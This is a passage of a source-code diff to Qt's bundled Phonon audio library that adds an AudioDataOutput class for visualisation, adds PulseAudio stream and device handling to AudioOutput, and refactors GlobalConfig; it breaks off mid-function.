 install(FILES org.kde.Phonon.AudioOutput.xml  DESTINATION  ${DBUS_INTERFACES_INSTALL_DIR})
diff --git a/src/3rdparty/phonon/phonon/audiodataoutput.cpp b/src/3rdparty/phonon/phonon/audiodataoutput.cpp
new file mode 100644
index 0000000..fa8ec0d
--- /dev/null
+++ b/src/3rdparty/phonon/phonon/audiodataoutput.cpp
@@ -0,0 +1,72 @@
+/*  This file is part of the KDE project
+    Copyright (C) 2005 Matthias Kretz <kretz@kde.org>
+
+    This library is free software; you can redistribute it and/or
+    modify it under the terms of the GNU Lesser General Public
+    License as published by the Free Software Foundation; either
+    version 2.1 of the License, or (at your option) version 3, or any
+    later version accepted by the membership of KDE e.V. (or its
+    successor approved by the membership of KDE e.V.), Nokia Corporation
+    (or its successors, if any) and the KDE Free Qt Foundation, which shall
+    act as a proxy defined in Section 6 of version 3 of the license.
+
+    This library is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+    Lesser General Public License for more details.
+
+    You should have received a copy of the GNU Lesser General Public
+    License along with this library.  If not, see <http://www.gnu.org/licenses/>.
+
+*/
+
+#include "audiodataoutput.h"
+#include "audiodataoutput_p.h"
+#include "factory_p.h"
+
+#define PHONON_CLASSNAME AudioDataOutput
+
+QT_BEGIN_HEADER
+QT_BEGIN_NAMESPACE
+
+namespace Phonon
+{
+
+PHONON_HEIR_IMPL(AbstractAudioOutput)
+
+PHONON_GETTER(int, dataSize, d->dataSize)
+PHONON_GETTER(int, sampleRate, -1)
+PHONON_SETTER(setDataSize, dataSize, int)
+
+bool AudioDataOutputPrivate::aboutToDeleteBackendObject()
+{
+    Q_ASSERT(m_backendObject);
+    pBACKEND_GET(int, dataSize, "dataSize");
+
+    return AbstractAudioOutputPrivate::aboutToDeleteBackendObject();
+}
+
+void AudioDataOutputPrivate::setupBackendObject()
+{
+    Q_Q(AudioDataOutput);
+    Q_ASSERT(m_backendObject);
+    AbstractAudioOutputPrivate::setupBackendObject();
+
+    // set up attributes
+    pBACKEND_CALL1("setDataSize", int, dataSize);
+
+    qRegisterMetaType<QMap<Phonon::AudioDataOutput::Channel, QVector<qint16> > >("QMap<Phonon::AudioDataOutput::Channel, QVector<qint16> >");
+
+    QObject::connect(m_backendObject,
+            SIGNAL(dataReady(const QMap<Phonon::AudioDataOutput::Channel, QVector<qint16> > &)),
+            q, SIGNAL(dataReady(const QMap<Phonon::AudioDataOutput::Channel, QVector<qint16> > &)));
+    QObject::connect(m_backendObject, SIGNAL(endOfMedia(int)), q, SIGNAL(endOfMedia(int)));
+}
+
+} // namespace Phonon
+
+QT_END_NAMESPACE
+QT_END_HEADER
+
+#undef PHONON_CLASSNAME
+// vim: sw=4 ts=4 tw=80
diff --git a/src/3rdparty/phonon/phonon/audiodataoutput.h b/src/3rdparty/phonon/phonon/audiodataoutput.h
new file mode 100644
index 0000000..7a559b3
--- /dev/null
+++ b/src/3rdparty/phonon/phonon/audiodataoutput.h
@@ -0,0 +1,135 @@
+/*  This file is part of the KDE project
+    Copyright (C) 2005-2006 Matthias Kretz <kretz@kde.org>
+
+    This library is free software; you can redistribute it and/or
+    modify it under the terms of the GNU Lesser General Public
+    License as published by the Free Software Foundation; either
+    version 2.1 of the License, or (at your option) version 3, or any
+    later version accepted by the membership of KDE e.V. (or its
+    successor approved by the membership of KDE e.V.), Nokia Corporation
+    (or its successors, if any) and the KDE Free Qt Foundation, which shall
+    act as a proxy defined in Section 6 of version 3 of the license.
+
+    This library is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+    Lesser General Public License for more details.
+
+    You should have received a copy of the GNU Lesser General Public
+    License along with this library.  If not, see <http://www.gnu.org/licenses/>.
+
+*/
+#ifndef Phonon_AUDIODATAOUTPUT_H
+#define Phonon_AUDIODATAOUTPUT_H
+
+#include "phonon_export.h"
+#include "abstractaudiooutput.h"
+#include "phonondefs.h"
+
+QT_BEGIN_HEADER
+QT_BEGIN_NAMESPACE
+
+#ifndef DOXYGEN_SHOULD_SKIP_THIS
+template<typename T> class QVector;
+template<typename Key, typename T> class QMap;
+#endif
+
+namespace Phonon
+{
+    class AudioDataOutputPrivate;
+
+    /**
+     * \short This class gives you the audio data (for visualizations).
+     *
+     * This class implements a special AbstractAudioOutput that gives your
+     * application the audio data. Don't expect realtime performance. But
+     * the latencies should be low enough to use the audio data for
+     * visualizations. You can also use the audio data for further processing
+     * (e.g. encoding and saving to a file).
+     *
+     * \author Matthias Kretz <kretz@kde.org>
+     */
+    class PHONON_EXPORT AudioDataOutput : public AbstractAudioOutput
+    {
+        Q_OBJECT
+        K_DECLARE_PRIVATE(AudioDataOutput)
+        Q_ENUMS(Channel)
+        Q_PROPERTY(int dataSize READ dataSize WRITE setDataSize)
+        PHONON_HEIR(AudioDataOutput)
+        public:
+            /**
+             * Specifies the channel the audio data belongs to.
+             */
+            enum Channel
+            {
+                LeftChannel,
+                RightChannel,
+                CenterChannel,
+                LeftSurroundChannel,
+                RightSurroundChannel,
+                SubwooferChannel
+            };
+
+            /**
+             * Returns the currently used number of samples passed through
+             * the signal.
+             *
+             * \see setDataSize
+             */
+            int dataSize() const;
+
+            /**
+             * Returns the sample rate in Hz. Common sample rates are 44100 Hz
+             * and 48000 Hz. AudioDataOutput will not do any sample rate
+             * conversion for you. If you need to convert the sample rate you
+             * might want to take a look at libsamplerate. For visualizations it
+             * is often enough to do simple interpolation or even drop/duplicate
+             * samples.
+             *
+             * \return The sample rate as reported by the backend. If the
+             * backend is unavailable -1 is returned.
+             */
+            int sampleRate() const;
+
+        public Q_SLOTS:
+            /**
+             * Sets the number of samples to be passed in one signal emission.
+             *
+             * Defaults to 512 samples per emitted signal.
+             *
+             * \param size the number of samples
+             */
+            void setDataSize(int size);
+
+        Q_SIGNALS:
+            /**
+             * Emitted whenever another dataSize number of samples are ready.
+             *
+             * \param data A mapping of Channel to a vector holding the audio data.
+             */
+            void dataReady(const QMap<Phonon::AudioDataOutput::Channel, QVector<qint16> > &data);
+
+
+            /**
+             * This signal is emitted before the last dataReady signal of a
+             * media is emitted.
+             *
+             * If, for example, the playback of a media file has finished and the
+             * last audio data of that file is going to be passed with the next
+             * dataReady signal, and only the 28 first samples of the data
+             * vector are from that media file endOfMedia will be emitted right
+             * before dataReady with \p remainingSamples = 28.
+             *
+             * \param remainingSamples The number of samples in the next
+             * dataReady vector that belong to the media that was playing to
+             * this point.
+             */
+            void endOfMedia(int remainingSamples);
+    };
+} // namespace Phonon
+
+QT_END_NAMESPACE
+QT_END_HEADER
+
+// vim: sw=4 ts=4 tw=80
+#endif // Phonon_AUDIODATAOUTPUT_H
diff --git a/src/3rdparty/phonon/phonon/audiodataoutput_p.h b/src/3rdparty/phonon/phonon/audiodataoutput_p.h
new file mode 100644
index 0000000..5fd4f80
--- /dev/null
+++ b/src/3rdparty/phonon/phonon/audiodataoutput_p.h
@@ -0,0 +1,54 @@
+/*  This file is part of the KDE project
+    Copyright (C) 2006 Matthias Kretz <kretz@kde.org>
+
+    This library is free software; you can redistribute it and/or
+    modify it under the terms of the GNU Lesser General Public
+    License as published by the Free Software Foundation; either
+    version 2.1 of the License, or (at your option) version 3, or any
+    later version accepted by the membership of KDE e.V. (or its
+    successor approved by the membership of KDE e.V.), Nokia Corporation
+    (or its successors, if any) and the KDE Free Qt Foundation, which shall
+    act as a proxy defined in Section 6 of version 3 of the license.
+
+    This library is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+    Lesser General Public License for more details.
+
+    You should have received a copy of the GNU Lesser General Public
+    License along with this library.  If not, see <http://www.gnu.org/licenses/>.
+
+*/
+
+#ifndef AUDIODATAOUTPUT_P_H
+#define AUDIODATAOUTPUT_P_H
+
+#include "audiodataoutput.h"
+#include "abstractaudiooutput_p.h"
+
+QT_BEGIN_HEADER
+QT_BEGIN_NAMESPACE
+
+namespace Phonon
+{
+
+class AudioDataOutputPrivate : public AbstractAudioOutputPrivate
+{
+    Q_DECLARE_PUBLIC(AudioDataOutput)
+    PHONON_PRIVATECLASS
+    protected:
+        AudioDataOutputPrivate()
+            : dataSize(512)
+        {
+        }
+
+        int dataSize;
+};
+
+} // namespace Phonon
+
+QT_END_NAMESPACE
+QT_END_HEADER
+
+#endif // AUDIODATAOUTPUT_P_H
+// vim: sw=4 ts=4 tw=80
diff --git a/src/3rdparty/phonon/phonon/audiodataoutputinterface.h b/src/3rdparty/phonon/phonon/audiodataoutputinterface.h
new file mode 100644
index 0000000..08bc7fc
--- /dev/null
+++ b/src/3rdparty/phonon/phonon/audiodataoutputinterface.h
@@ -0,0 +1,50 @@
+/*  This file is part of the KDE project
+    Copyright (C) 2008 Matthias Kretz <kretz@kde.org>
+
+    This library is free software; you can redistribute it and/or
+    modify it under the terms of the GNU Lesser General Public
+    License as published by the Free Software Foundation; either
+    version 2.1 of the License, or (at your option) version 3, or any
+    later version accepted by the membership of KDE e.V. (or its
+    successor approved by the membership of KDE e.V.), Nokia Corporation
+    (or its successors, if any) and the KDE Free Qt Foundation, which shall
+    act as a proxy defined in Section 6 of version 3 of the license.
+
+    This library is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+    Lesser General Public License for more details.
+
+    You should have received a copy of the GNU Lesser General Public
+    License along with this library.  If not, see <http://www.gnu.org/licenses/>.
+
+*/
+
+#ifndef PHONON_AUDIODATAOUTPUTINTERFACE_H
+#define PHONON_AUDIODATAOUTPUTINTERFACE_H
+
+QT_BEGIN_HEADER
+QT_BEGIN_NAMESPACE
+
+namespace Phonon
+{
+
+class AudioDataOutput;
+
+class AudioDataOutputInterface
+{
+    public:
+        virtual ~AudioDataOutputInterface() {}
+
+        virtual AudioDataOutput *frontendObject() const = 0;
+        virtual void setFrontendObject(AudioDataOutput *) = 0;
+};
+
+} // namespace Phonon
+
+Q_DECLARE_INTERFACE(Phonon::AudioDataOutputInterface, "0AudioDataOutputInterface.phonon.kde.org")
+
+QT_END_NAMESPACE
+QT_END_HEADER
+
+#endif // PHONON_AUDIODATAOUTPUTINTERFACE_H
diff --git a/src/3rdparty/phonon/phonon/audiooutput.cpp b/src/3rdparty/phonon/phonon/audiooutput.cpp
index 0f6a49b..e94caad 100644
--- a/src/3rdparty/phonon/phonon/audiooutput.cpp
+++ b/src/3rdparty/phonon/phonon/audiooutput.cpp
@@ -24,12 +24,14 @@
 #include "factory_p.h"
 #include "objectdescription.h"
 #include "audiooutputadaptor_p.h"
-#include "globalconfig_p.h"
+#include "globalconfig.h"
 #include "audiooutputinterface.h"
 #include "phononnamespace_p.h"
 #include "platform_p.h"
+#include "pulsesupport.h"
 
 #include <QtCore/qmath.h>
+#include <QtCore/quuid.h>
 
 #define PHONON_CLASSNAME AudioOutput
 #define IFACES2 AudioOutputInterface42
@@ -42,8 +44,12 @@ QT_BEGIN_NAMESPACE
 namespace Phonon
 {
 
-static inline bool callSetOutputDevice(MediaNodePrivate *const d, int index)
+static inline bool callSetOutputDevice(AudioOutputPrivate *const d, int index)
 {
+    PulseSupport *pulse = PulseSupport::getInstance();
+    if (pulse->isActive())
+        return pulse->setOutputDevice(d->getStreamUuid(), index);
+
     Iface<IFACES2> iface(d);
     if (iface) {
         return iface->setOutputDevice(AudioOutputDevice::fromIndex(index));
@@ -51,8 +57,12 @@ static inline bool callSetOutputDevice(MediaNodePrivate *const d, int index)
     return Iface<IFACES0>::cast(d)->setOutputDevice(index);
 }
 
-static inline bool callSetOutputDevice(MediaNodePrivate *const d, const AudioOutputDevice &dev)
+static inline bool callSetOutputDevice(AudioOutputPrivate *const d, const AudioOutputDevice &dev)
 {
+    PulseSupport *pulse = PulseSupport::getInstance();
+    if (pulse->isActive())
+        return pulse->setOutputDevice(d->getStreamUuid(), dev.index());
+
     Iface<IFACES2> iface(d);
     if (iface) {
         return iface->setOutputDevice(dev);
@@ -89,16 +99,20 @@ void AudioOutputPrivate::init(Phonon::Category c)
 #endif
 
     category = c;
-
-    // select hardware device according to the category
-    device = AudioOutputDevice::fromIndex(GlobalConfig().audioOutputDeviceFor(category, GlobalConfig::AdvancedDevicesFromSettings | GlobalConfig::HideUnavailableDevices));
+    streamUuid = QUuid::createUuid().toString();
+    PulseSupport *pulse = PulseSupport::getInstance();
+    pulse->setStreamPropList(category, streamUuid);
+    q->connect(pulse, SIGNAL(usingDevice(QString,int)), SLOT(_k_deviceChanged(QString,int)));
 
     createBackendObject();
 
     q->connect(Factory::sender(), SIGNAL(availableAudioOutputDevicesChanged()), SLOT(_k_deviceListChanged()));
 }
 
-
+QString AudioOutputPrivate::getStreamUuid()
+{
+    return streamUuid;
+}
 
 void AudioOutputPrivate::createBackendObject()
 {
@@ -106,6 +120,7 @@ void AudioOutputPrivate::createBackendObject()
         return;
     Q_Q(AudioOutput);
     m_backendObject = Factory::createAudioOutput(q);
+    device = AudioOutputDevice::fromIndex(GlobalConfig().audioOutputDeviceFor(category, GlobalConfig::AdvancedDevicesFromSettings | GlobalConfig::HideUnavailableDevices));
     if (m_backendObject) {
         setupBackendObject();
     }
@@ -220,21 +235,21 @@ bool AudioOutput::setOutputDevice(const AudioOutputDevice &newAudioOutputDevice)
 {
     K_D(AudioOutput);
     if (!newAudioOutputDevice.isValid()) {
-        d->outputDeviceOverridden = false;
+        d->outputDeviceOverridden = d->forceMove = false;
         const int newIndex = GlobalConfig().audioOutputDeviceFor(d->category);
         if (newIndex == d->device.index()) {
             return true;
         }
         d->device = AudioOutputDevice::fromIndex(newIndex);
     } else {
-        d->outputDeviceOverridden = true;
+        d->outputDeviceOverridden = d->forceMove = true;
         if (d->device == newAudioOutputDevice) {
             return true;
         }
         d->device = newAudioOutputDevice;
     }
     if (k_ptr->backendObject()) {
-        return callSetOutputDevice(k_ptr, d->device.index());
+        return callSetOutputDevice(d, d->device.index());
     }
     return true;
 }
@@ -261,7 +276,10 @@ void AudioOutputPrivate::setupBackendObject()
 
 #ifndef QT_NO_PHONON_SETTINGSGROUP
     // if the output device is not available and the device was not explicitly set
-    if (!callSetOutputDevice(this, device) && !outputDeviceOverridden) {
+    // There is no need to set the output device initially if PA is used as
+    // we know it will not work (stream doesn't exist yet) and that this will be
+    // handled by _k_deviceChanged()
+    if (!PulseSupport::getInstance()->isActive() && !callSetOutputDevice(this, device) && !outputDeviceOverridden) {
         // fall back in the preference list of output devices
         QList<int> deviceList = GlobalConfig().audioOutputDeviceListFor(category, GlobalConfig::AdvancedDevicesFromSettings | GlobalConfig::HideUnavailableDevices);
         if (deviceList.isEmpty()) {
@@ -306,10 +324,14 @@ void AudioOutputPrivate::_k_revertFallback()
 
 void AudioOutputPrivate::_k_audioDeviceFailed()
 {
+    if (PulseSupport::getInstance()->isActive())
+        return;
+
+#ifndef QT_NO_PHONON_SETTINGSGROUP
+
     pDebug() << Q_FUNC_INFO;
     // outputDeviceIndex identifies a failing device
     // fall back in the preference list of output devices
-#ifndef QT_NO_PHONON_SETTINGSGROUP
     const QList<int> deviceList = GlobalConfig().audioOutputDeviceListFor(category, GlobalConfig::AdvancedDevicesFromSettings | GlobalConfig::HideUnavailableDevices);
     for (int i = 0; i < deviceList.count(); ++i) {
         const int devIndex = deviceList.at(i);
@@ -331,8 +353,15 @@ void AudioOutputPrivate::_k_audioDeviceFailed()
 
 void AudioOutputPrivate::_k_deviceListChanged()
 {
-    pDebug() << Q_FUNC_INFO;
+    if (PulseSupport::getInstance()->isActive())
+        return;
+
 #ifndef QT_NO_PHONON_SETTINGSGROUP
+    pDebug() << Q_FUNC_INFO;
+    // Check to see if we have an override and do not change to a higher priority device if the overridden device is still present.
+    if (outputDeviceOverridden && device.property("available").toBool()) {
+        return;
+    }
     // let's see if there's a usable device higher in the preference list
     const QList<int> deviceList = GlobalConfig().audioOutputDeviceListFor(category, GlobalConfig::AdvancedDevicesFromSettings);
     DeviceChangeType changeType = HigherPreferenceChange;
@@ -361,6 +390,36 @@ void AudioOutputPrivate::_k_deviceListChanged()
 #endif //QT_NO_PHONON_SETTINGSGROUP
 }
 
+void AudioOutputPrivate::_k_deviceChanged(QString inStreamUuid, int deviceIndex)
+{
+    // Note that this method is only used by PulseAudio at present.
+    if (inStreamUuid == streamUuid) {
+        // 1. Check to see if we are overridden. If we are, and devices do not match,
+        //    then try and apply our own device as the output device.
+        //    We only do this the first time
+        if (outputDeviceOverridden && forceMove) {
+            forceMove = false;
+            const AudioOutputDevice &currentDevice = AudioOutputDevice::fromIndex(deviceIndex);
+            if (currentDevice != device) {
+                if (!callSetOutputDevice(this, device)) {
+                    // What to do if we are overridden and cannot change to our preferred device?
+                }
+            }
+        }
+        // 2. If we are not overridden, then we need to update our perception of what
+        //    device we are using. If the devices do not match, something lower in the
+        //    stack is overriding our preferences (e.g. a per-application stream preference,
+        //    specific application move, priority list changed etc. etc.)
+        else if (!outputDeviceOverridden) {
+            const AudioOutputDevice &currentDevice = AudioOutputDevice::fromIndex(deviceIndex);
+            if (currentDevice != device) {
+                // The device is not what we think it is, so lets say what is happening.
+                handleAutomaticDeviceChange(currentDevice, SoundSystemChange);
+            }
+        }
+    }
+}
+
 static struct
 {
     int first;
@@ -405,11 +464,33 @@ void AudioOutputPrivate::handleAutomaticDeviceChange(const AudioOutputDevice &de
         g_lastFallback.second = 0;
         }
         break;
+    case SoundSystemChange:
+        {
+#ifndef QT_NO_PHONON_PLATFORMPLUGIN
+        if (device1.property("available").toBool()) {
+            const QString text = AudioOutput::tr("<html>Switching to the audio playback device <b>%1</b><br/>"
+                    "which has higher preference or is specifically configured for this stream.</html>").arg(device2.name());
+            Platform::notification("AudioDeviceFallback", text,
+                    QStringList(AudioOutput::tr("Revert back to device '%1'").arg(device1.name())),
+                    q, SLOT(_k_revertFallback()));
+        } else {
+            const QString &text =
+                AudioOutput::tr("<html>The audio playback device <b>%1</b> does not work.<br/>"
+                        "Falling back to <b>%2</b>.</html>").arg(device1.name()).arg(device2.name());
+            Platform::notification("AudioDeviceFallback", text);
+        }
+#endif //QT_NO_PHONON_PLATFORMPLUGIN
+        //outputDeviceOverridden = true;
+        g_lastFallback.first = 0;
+        g_lastFallback.second = 0;
+        }
+        break;
     }
 }
 
 AudioOutputPrivate::~AudioOutputPrivate()
 {
+    PulseSupport::getInstance()->clearStreamCache(streamUuid);
 #ifndef QT_NO_DBUS
     if (adaptor) {
         emit adaptor->outputDestroyed();
diff --git a/src/3rdparty/phonon/phonon/audiooutput.h b/src/3rdparty/phonon/phonon/audiooutput.h
index 4edf135..513a863 100644
--- a/src/3rdparty/phonon/phonon/audiooutput.h
+++ b/src/3rdparty/phonon/phonon/audiooutput.h
@@ -169,6 +169,7 @@ namespace Phonon
             Q_PRIVATE_SLOT(k_func(), void _k_revertFallback())
             Q_PRIVATE_SLOT(k_func(), void _k_audioDeviceFailed())
             Q_PRIVATE_SLOT(k_func(), void _k_deviceListChanged())
+            Q_PRIVATE_SLOT(k_func(), void _k_deviceChanged(QString streamUuid, int device))
     };
 } //namespace Phonon
 
diff --git a/src/3rdparty/phonon/phonon/audiooutput_p.h b/src/3rdparty/phonon/phonon/audiooutput_p.h
index fdee299..01dc48f 100644
--- a/src/3rdparty/phonon/phonon/audiooutput_p.h
+++ b/src/3rdparty/phonon/phonon/audiooutput_p.h
@@ -46,6 +46,7 @@ class AudioOutputPrivate : public AbstractAudioOutputPrivate
             return 0;
         }
         void init(Phonon::Category c);
+        QString getStreamUuid();
 
 
     protected:
@@ -58,6 +59,7 @@ class AudioOutputPrivate : public AbstractAudioOutputPrivate
 #endif
             deviceBeforeFallback(-1),
             outputDeviceOverridden(false),
+            forceMove(false),
             muted(false)
         {
         }
@@ -66,7 +68,8 @@ class AudioOutputPrivate : public AbstractAudioOutputPrivate
 
         enum DeviceChangeType {
             FallbackChange,
-            HigherPreferenceChange
+            HigherPreferenceChange,
+            SoundSystemChange
         };
         void handleAutomaticDeviceChange(const AudioOutputDevice &newDev, DeviceChangeType type);
 
@@ -74,17 +77,20 @@ class AudioOutputPrivate : public AbstractAudioOutputPrivate
         void _k_revertFallback();
         void _k_audioDeviceFailed();
         void _k_deviceListChanged();
+        void _k_deviceChanged(QString streamUuid, int deviceIndex);
 
     private:
         QString name;
         Phonon::AudioOutputDevice device;
         qreal volume;
+        QString streamUuid;
 #ifndef QT_NO_DBUS
         Phonon::AudioOutputAdaptor *adaptor;
 #endif
         Category category;
         int deviceBeforeFallback;
         bool outputDeviceOverridden;
+        bool forceMove;
         bool muted;
 };
 } //namespace Phonon
diff --git a/src/3rdparty/phonon/phonon/audiooutputinterface.h b/src/3rdparty/phonon/phonon/audiooutputinterface.h
index 80ba11c..cce12b2 100644
--- a/src/3rdparty/phonon/phonon/audiooutputinterface.h
+++ b/src/3rdparty/phonon/phonon/audiooutputinterface.h
@@ -64,7 +64,7 @@ class AudioOutputInterface40
          * A value of 0.0 means muted, 1.0 means unchanged, 2.0 means double voltage (i.e. all
          * samples are multiplied by 2).
          *
-         * Everytime the volume in the backend changes it should emit volumeChanged(qreal), also
+         * Every time the volume in the backend changes it should emit volumeChanged(qreal), also
          * inside this function.
          */
         virtual void setVolume(qreal) = 0;
diff --git a/src/3rdparty/phonon/phonon/backendcapabilities.cpp b/src/3rdparty/phonon/phonon/backendcapabilities.cpp
index fbeb020..8dad589 100644
--- a/src/3rdparty/phonon/phonon/backendcapabilities.cpp
+++ b/src/3rdparty/phonon/phonon/backendcapabilities.cpp
@@ -26,7 +26,7 @@
 #include "phonondefs_p.h"
 #include "backendinterface.h"
 #include "factory_p.h"
-#include "globalconfig_p.h"
+#include "globalconfig.h"
 #include "globalstatic_p.h"
 #include "objectdescription.h"
 
diff --git a/src/3rdparty/phonon/phonon/factory.cpp b/src/3rdparty/phonon/phonon/factory.cpp
index 9967c971..2785dff 100644
--- a/src/3rdparty/phonon/phonon/factory.cpp
+++ b/src/3rdparty/phonon/phonon/factory.cpp
@@ -134,30 +134,24 @@ bool FactoryPrivate::createBackend()
                 continue;
             }
 
-			QStringList plugins(dir.entryList(QDir::Files));
+            QStringList plugins(dir.entryList(QDir::Files));
 
 #ifdef Q_OS_SYMBIAN
             /* On Symbian OS we might have two plugins, one which uses Symbian
-             * MMF framework("phonon_mmf"), and one which uses Real Networks's
+             * MMF framework("mmf"), and one which uses Real Networks's
              * Helix("hxphonon"). We prefer the latter because it's more
              * sophisticated, so we make sure the Helix backend is attempted
              * to be loaded first, and the MMF backend is used for backup. */
             {
-
-                const int hxphonon = plugins.indexOf(QLatin1String("hxphonon"));
-                if (hxphonon != -1)
-                    plugins.move(hxphonon, 0);
-
-                // Code for debugging the MMF backend.
-                if(hxphonon != -1) {
-                    qDebug() << "Found hxphonon backend and removed it from the lookup list.";
-                    plugins.removeAll(QLatin1String("hxphonon"));
-                }
+                const int helix = plugins.indexOf(QLatin1String("hxphonon"));
+                if (helix != -1)
+                    plugins.move(helix, 0);
             }
 #endif
 
-            for (int i = 0; i < plugins.count(); ++i) {
-                QPluginLoader pluginLoader(libPath + plugins.at(i));
+            const QStringList files = dir.entryList(QDir::Files);
+            for (int i = 0; i < files.count(); ++i) {
+                QPluginLoader pluginLoader(libPath + files.at(i));
                 if (!pluginLoader.load()) {
                     pDebug() << Q_FUNC_INFO << "  load failed:"
                              << pluginLoader.errorString();
@@ -350,6 +344,7 @@ FACTORY_IMPL(AudioOutput)
 #ifndef QT_NO_PHONON_VIDEO
 FACTORY_IMPL(VideoWidget)
 #endif //QT_NO_PHONON_VIDEO
+FACTORY_IMPL(AudioDataOutput)
 
 #undef FACTORY_IMPL
 
@@ -469,7 +464,7 @@ GET_STRING_PROPERTY(backendWebsite)
 QObject *Factory::registerQObject(QObject *o)
 {
     if (o) {
-        QObject::connect(o, SIGNAL(destroyed(QObject*)), globalFactory, SLOT(objectDestroyed(QObject*)), Qt::DirectConnection);
+        QObject::connect(o, SIGNAL(destroyed(QObject *)), globalFactory, SLOT(objectDestroyed(QObject *)), Qt::DirectConnection);
         globalFactory->objects.append(o);
     }
     return o;
diff --git a/src/3rdparty/phonon/phonon/factory_p.h b/src/3rdparty/phonon/phonon/factory_p.h
index dee2b56..41b8c5b 100644
--- a/src/3rdparty/phonon/phonon/factory_p.h
+++ b/src/3rdparty/phonon/phonon/factory_p.h
@@ -122,6 +122,13 @@ namespace Factory
 #endif //QT_NO_PHONON_VIDEO
 
     /**
+    * Create a new backend object for a AudioDataOutput.
+    *
+    * \return a pointer to the AudioDataOutput the backend provides.
+    */
+    PHONON_EXPORT QObject *createAudioDataOutput(QObject *parent = 0);
+
+    /**
      * \return a pointer to the backend interface.
      */
     PHONON_EXPORT QObject *backend(bool createWhenNull = true);
diff --git a/src/3rdparty/phonon/phonon/globalconfig.cpp b/src/3rdparty/phonon/phonon/globalconfig.cpp
index 3b77a18..be751ce 100644
--- a/src/3rdparty/phonon/phonon/globalconfig.cpp
+++ b/src/3rdparty/phonon/phonon/globalconfig.cpp
@@ -20,6 +20,7 @@
 
 */
 
+#include "globalconfig.h"
 #include "globalconfig_p.h"
 
 #include "factory_p.h"
@@ -29,6 +30,7 @@
 #include "backendinterface.h"
 #include "qsettingsgroup_p.h"
 #include "phononnamespace_p.h"
+#include "pulsesupport.h"
 
 #include <QtCore/QList>
 #include <QtCore/QVariant>
@@ -38,15 +40,18 @@ QT_BEGIN_NAMESPACE
 namespace Phonon
 {
 
+GlobalConfigPrivate::GlobalConfigPrivate() : config(QLatin1String("kde.org"), QLatin1String("libphonon"))
+{
+}
+
 GlobalConfig::GlobalConfig()
-#ifndef QT_NO_SETTINGS
-    : m_config(QLatin1String("kde.org"), QLatin1String("libphonon"))
-#endif //QT_NO_SETTINGS
+    : k_ptr(new GlobalConfigPrivate)
 {
 }
 
 GlobalConfig::~GlobalConfig()
 {
+    delete k_ptr;
 }
 
 enum WhatToFilter {
@@ -59,7 +64,11 @@ static void filter(ObjectDescriptionType type, BackendInterface *backendIface, Q
 {
     QMutableListIterator<int> it(*list);
     while (it.hasNext()) {
-        const QHash<QByteArray, QVariant> properties = backendIface->objectDescriptionProperties(type, it.next());
+        QHash<QByteArray, QVariant> properties;
+        if (backendIface)
+            properties = backendIface->objectDescriptionProperties(type, it.next());
+        else
+            properties = PulseSupport::getInstance()->objectDescriptionProperties(type, it.next());
         QVariant var;
         if (whatToFilter & FilterAdvancedDevices) {
             var = properties.value("isAdvanced");
@@ -73,6 +82,7 @@ static void filter(ObjectDescriptionType type, BackendInterface *backendIface, Q
             if (var.isValid() && var.toBool()) {
                 it.remove();
                 continue;
+#ifndef QT_NO_PHONON_SETTINGSGROUP
             }
         }
         if (whatToFilter & FilterUnavailableDevices) {
@@ -85,9 +95,12 @@ static void filter(ObjectDescriptionType type, BackendInterface *backendIface, Q
     }
 }
 
-#ifndef QT_NO_PHONON_SETTINGSGROUP
-static QList<int> listSortedByConfig(const QSettingsGroup &backendConfig, Phonon::Category category, QList<int> &defaultList)
+static QList<int> sortDevicesByCategoryPriority(const GlobalConfig *config, const QSettingsGroup *backendConfig, ObjectDescriptionType type, Phonon::Category category, QList<int> &defaultList)
 {
+    Q_ASSERT(config);
+    Q_ASSERT(backendConfig);
+    Q_ASSERT(type == AudioOutputDeviceType || type == AudioCaptureDeviceType);
+
     if (defaultList.size() <= 1) {
         // nothing to sort
         return defaultList;
@@ -104,20 +117,26 @@ static QList<int> listSortedByConfig(const QSettingsGroup &backendConfig, Phonon
         }
     }
 
-    QString categoryKey = QLatin1String("Category_") + QString::number(static_cast<int>(category));
-    if (!backendConfig.hasKey(categoryKey)) {
-        // no list in config for the given category
-        categoryKey = QLatin1String("Category_") + QString::number(static_cast<int>(Phonon::NoCategory));
-        if (!backendConfig.hasKey(categoryKey)) {
-            // no list in config for NoCategory
-            return defaultList;
+    QList<int> deviceList;
+    PulseSupport *pulse = PulseSupport::getInstance();
+    if (pulse->isActive()) {
+        deviceList = pulse->objectIndexesByCategory(type, category);
+    } else {
+        QString categoryKey = QLatin1String("Category_") + QString::number(static_cast<int>(category));
+        if (!backendConfig->hasKey(categoryKey)) {
+            // no list in config for the given category
+            categoryKey = QLatin1String("Category_") + QString::number(static_cast<int>(Phonon::NoCategory));
+            if (!backendConfig->hasKey(categoryKey)) {
+                // no list in config for NoCategory
+                return defaultList;
+            }
         }
-    }
 
-    //Now the list from m_config
-    QList<int> deviceList = backendConfig.value(categoryKey, QList<int>());
+        //Now the list from d->config
+        deviceList = backendConfig->value(categoryKey, QList<int>());
+    }
 
-    //if there are devices in m_config that the backend doesn't report, remove them from the list
+    //if there are devices in d->config that the backend doesn't report, remove them from the list
     QMutableListIterator<int> i(deviceList);
     while (i.hasNext()) {
         if (0 == defaultList.removeAll(i.next())) {
@@ -125,58 +144,198 @@ static QList<int> listSortedByConfig(const QSettingsGroup &backendConfig, Phonon
         }
     }
 
-    //if the backend reports more devices that are not in m_config append them to the list
+    //if the backend reports more devices that are not in d->config append them to the list
     deviceList += defaultList;
 
     return deviceList;
 }
+
+bool GlobalConfig::hideAdvancedDevices() const
+{
+    K_D(const GlobalConfig);
+    //The devices need to be stored independently for every backend
+    const QSettingsGroup generalGroup(&d->config, QLatin1String("General"));
+    return generalGroup.value(QLatin1String("HideAdvancedDevices"), true);
+}
+
+void GlobalConfig::setHideAdvancedDevices(bool hide)
+{
+    K_D(GlobalConfig);
+    QSettingsGroup generalGroup(&d->config, QLatin1String("General"));
